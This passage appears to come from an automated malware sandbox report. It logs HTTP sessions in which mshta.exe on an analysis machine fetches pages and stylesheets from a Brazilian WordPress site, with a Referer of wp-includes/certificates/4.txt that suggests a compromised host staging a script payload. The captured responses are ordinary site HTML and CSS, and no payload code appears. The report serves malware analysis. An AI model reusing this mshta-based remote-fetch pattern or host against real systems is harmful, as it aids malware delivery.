2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 Data Ascii: 104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)\|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found \| Facex</title><meta name="description" content=" » Pgina no encontrada \| Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alternate" type="application/atom+xml" title="Facex" href="h
Aug 16, 2022 11:49:49.191549063 CEST	463	IN	Data Raw: 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 61 74 6f 6d 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 Data Ascii: ttps://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><link rel="stylesheet" type="text/css" media="all" href="h
Aug 16, 2022 11:49:49.191565990 CEST	465	IN	Data Raw: 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 2e 39 2e 32 30 22 7d 7d 3b 0a 09 09 09 21 66 75 6e 63 74 Data Ascii: cextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p
Aug 16, 2022 11:49:49.191579103 CEST	465	IN	Data Raw: 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 2c 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 Data Ascii: pports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything\|\|(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload
Aug 16, 2022 11:49:49.191591978 CEST	467	IN	Data Raw: 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 Data Ascii: 101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em
Aug 16, 2022 11:49:49.191605091 CEST	468	IN	Data Raw: 74 2d 61 77 65 73 6f 6d 65 2e 63 73 73 3f 76 65 72 3d 33 2e 32 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d Data Ascii: t-awesome.css?ver=3.2.1' type='text/css' media='all' /><link rel='stylesheet' id='cherry-plugin-css' href='http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1' type='text/css' media='all' /><
Aug 16, 2022 11:49:49.191622019 CEST	469	IN	Data Raw: 73 73 3f 76 65 72 3d 31 2e 30 2e 30 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 67 78 2d 6c 6f 67 6f 2d 73 Data Ascii: ss?ver=1.0.0' type='text/css' media='all' /><link rel='stylesheet' id='lgx-logo-slider-animate-css' href='http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20' type='text/css' media='al
Aug 16, 2022 11:49:49.191651106 CEST	470	IN	Data Raw: 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 6a 73 2f 6a 71 75 65 72 79 Data Ascii: ascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2'></script>
Aug 16, 2022 11:49:49.199470997 CEST	471	IN	Data Raw: 31 30 37 66 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 Data Ascii: 107f<script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/li
Aug 16, 2022 11:49:49.199506998 CEST	472	IN	Data Raw: 2f 6a 73 2f 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 2d 70 75 62 6c 69 63 2e 6a 73 3f 76 65 72 3d 31 2e 30 2e 30 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 Data Ascii: /js/logo-slider-wp-public.js?ver=1.0.0'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1'></script><script type='text/javascript' src='http://fac
Aug 16, 2022 11:49:49.407685041 CEST	486	IN	Data Raw: 4c 20 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 27 2c 0a 09 20 50 41 52 45 4e 54 5f 55 52 4c 20 3d 20 27 68 74 74 70 3a 2f Data Ascii: L ='http://facextrade.com.br/wp-content/themes/theme51253', PARENT_URL = 'http://facextrade.com.br/wp-content/themes/CherryFramework', CURRENT_THEME = 'theme51253'</script><style type='text/css'>body { background-image:url(http://facext

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.22	49188	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:48.144742966 CEST	461	OUT	GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:49.268325090 CEST	474	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Aug 2022 09:49:48 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/" Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 Data Ascii: 104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)\|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found \| Facex</title><meta name="description" content=" » Pgina no encontrada \| Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alternate" type="application/atom+xml" title="Facex" href="h
Aug 16, 2022 11:49:49.268382072 CEST	475	IN	Data Raw: 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 61 74 6f 6d 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 Data Ascii: ttps://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><link rel="stylesheet" type="text/css" media="all" href="h
Aug 16, 2022 11:49:49.268402100 CEST	477	IN	Data Raw: 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 2e 39 2e 32 30 22 7d 7d 3b 0a 09 09 09 21 66 75 6e 63 74 Data Ascii: cextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p
Aug 16, 2022 11:49:49.268418074 CEST	477	IN	Data Raw: 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 2c 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 Data Ascii: pports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything\|\|(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload
Aug 16, 2022 11:49:49.270848989 CEST	479	IN	Data Raw: 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 Data Ascii: 101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em
Aug 16, 2022 11:49:49.270881891 CEST	480	IN	Data Raw: 74 2d 61 77 65 73 6f 6d 65 2e 63 73 73 3f 76 65 72 3d 33 2e 32 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d Data Ascii: t-awesome.css?ver=3.2.1' type='text/css' media='all' /><link rel='stylesheet' id='cherry-plugin-css' href='http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1' type='text/css' media='all' /><
Aug 16, 2022 11:49:49.270903111 CEST	481	IN	Data Raw: 73 73 3f 76 65 72 3d 31 2e 30 2e 30 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 67 78 2d 6c 6f 67 6f 2d 73 Data Ascii: ss?ver=1.0.0' type='text/css' media='all' /><link rel='stylesheet' id='lgx-logo-slider-animate-css' href='http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20' type='text/css' media='al
Aug 16, 2022 11:49:49.270921946 CEST	481	IN	Data Raw: 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 6a 73 2f 6a 71 75 65 72 79 Data Ascii: ascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2'></script>
Aug 16, 2022 11:49:49.276160002 CEST	483	IN	Data Raw: 31 30 37 66 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 Data Ascii: 107f<script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/li
Aug 16, 2022 11:49:49.276211023 CEST	484	IN	Data Raw: 2f 6a 73 2f 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 2d 70 75 62 6c 69 63 2e 6a 73 3f 76 65 72 3d 31 2e 30 2e 30 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 Data Ascii: /js/logo-slider-wp-public.js?ver=1.0.0'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1'></script><script type='text/javascript' src='http://fac
Aug 16, 2022 11:49:49.497416019 CEST	506	IN	Data Raw: 4c 20 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 27 2c 0a 09 20 50 41 52 45 4e 54 5f 55 52 4c 20 3d 20 27 68 74 74 70 3a 2f Data Ascii: L ='http://facextrade.com.br/wp-content/themes/theme51253', PARENT_URL = 'http://facextrade.com.br/wp-content/themes/CherryFramework', CURRENT_THEME = 'theme51253'</script><style type='text/css'>body { background-image:url(http://facext

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.22	49189	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:51.237452984 CEST	526	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:51.474744081 CEST	528	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:51 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT ETag: "a51464-13cec-5c93d38d9adcd" Accept-Ranges: bytes Content-Length: 81132 Connection: close Content-Type: text/css Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 0d 0a 0d 0a 2f 2a 21 0d 0a 41 6e 69 6d 61 74 65 2e 63 73 73 20 2d 20 68 74 74 70 3a 2f 2f 64 61 6e 65 64 65 6e 2e 6d 65 2f 61 6e 69 6d 61 74 65 0d 0a 56 65 72 73 69 6f 6e 20 2d 20 33 2e 34 2e 30 0d 0a 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 0d 0a 0d 0a 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 35 20 44 61 6e 69 65 6c 20 45 64 65 6e 0d 0a 2a 2f 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 69 6e 66 69 6e 69 74 65 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 20 69 6e 66 69 6e 69 74 65 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 20 69 6e 66 69 6e 69 74 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 68 69 6e 67 65 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 32 73 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 32 73 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 62 6f 75 6e 63 65 49 6e 2c 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 62 6f 75 6e 63 65 4f 75 74 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 2e 37 35 73 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 2e 37 35 73 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 66 6c 69 70 4f 75 74 58 2c 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 66 6c 69 70 4f 75 74 59 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 2e 37 35 73 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 2e 37 35 73 3b 0d 0a 7d 0d 0a 0d 0a 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 62 6f 75 6e 63 65 20 7b 0d 0a 20 20 20 20 66 72 6f 6d 2c 20 32 30 25 2c 20 35 33 25 2c 20 38 30 25 2c 20 74 6f 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 32 31 35 2c 20 30 2e 36 31 30 2c 20 30 2e 33 35 35 2c 20 31 2e 30 30 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 32 31 35 2c 20 30 2e 36 31 30 2c 20 30 2e 33 35 35 2c 20 31 2e 30 30 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 Data Ascii: @charset "UTF-8";/!Animate.css - http://daneden.me/animateVersion - 3.4.0Licensed under the MIT license - http://opensource.org/licenses/MITCopyright (c) 2015 Daniel Eden/.animated { -webkit-animation-duration: 1s; animation-duration: 1s; -webkit-animation-fill-mode: both; animation-fill-mode: both;}.animated.infinite { -webkit-animation-iteration-count: 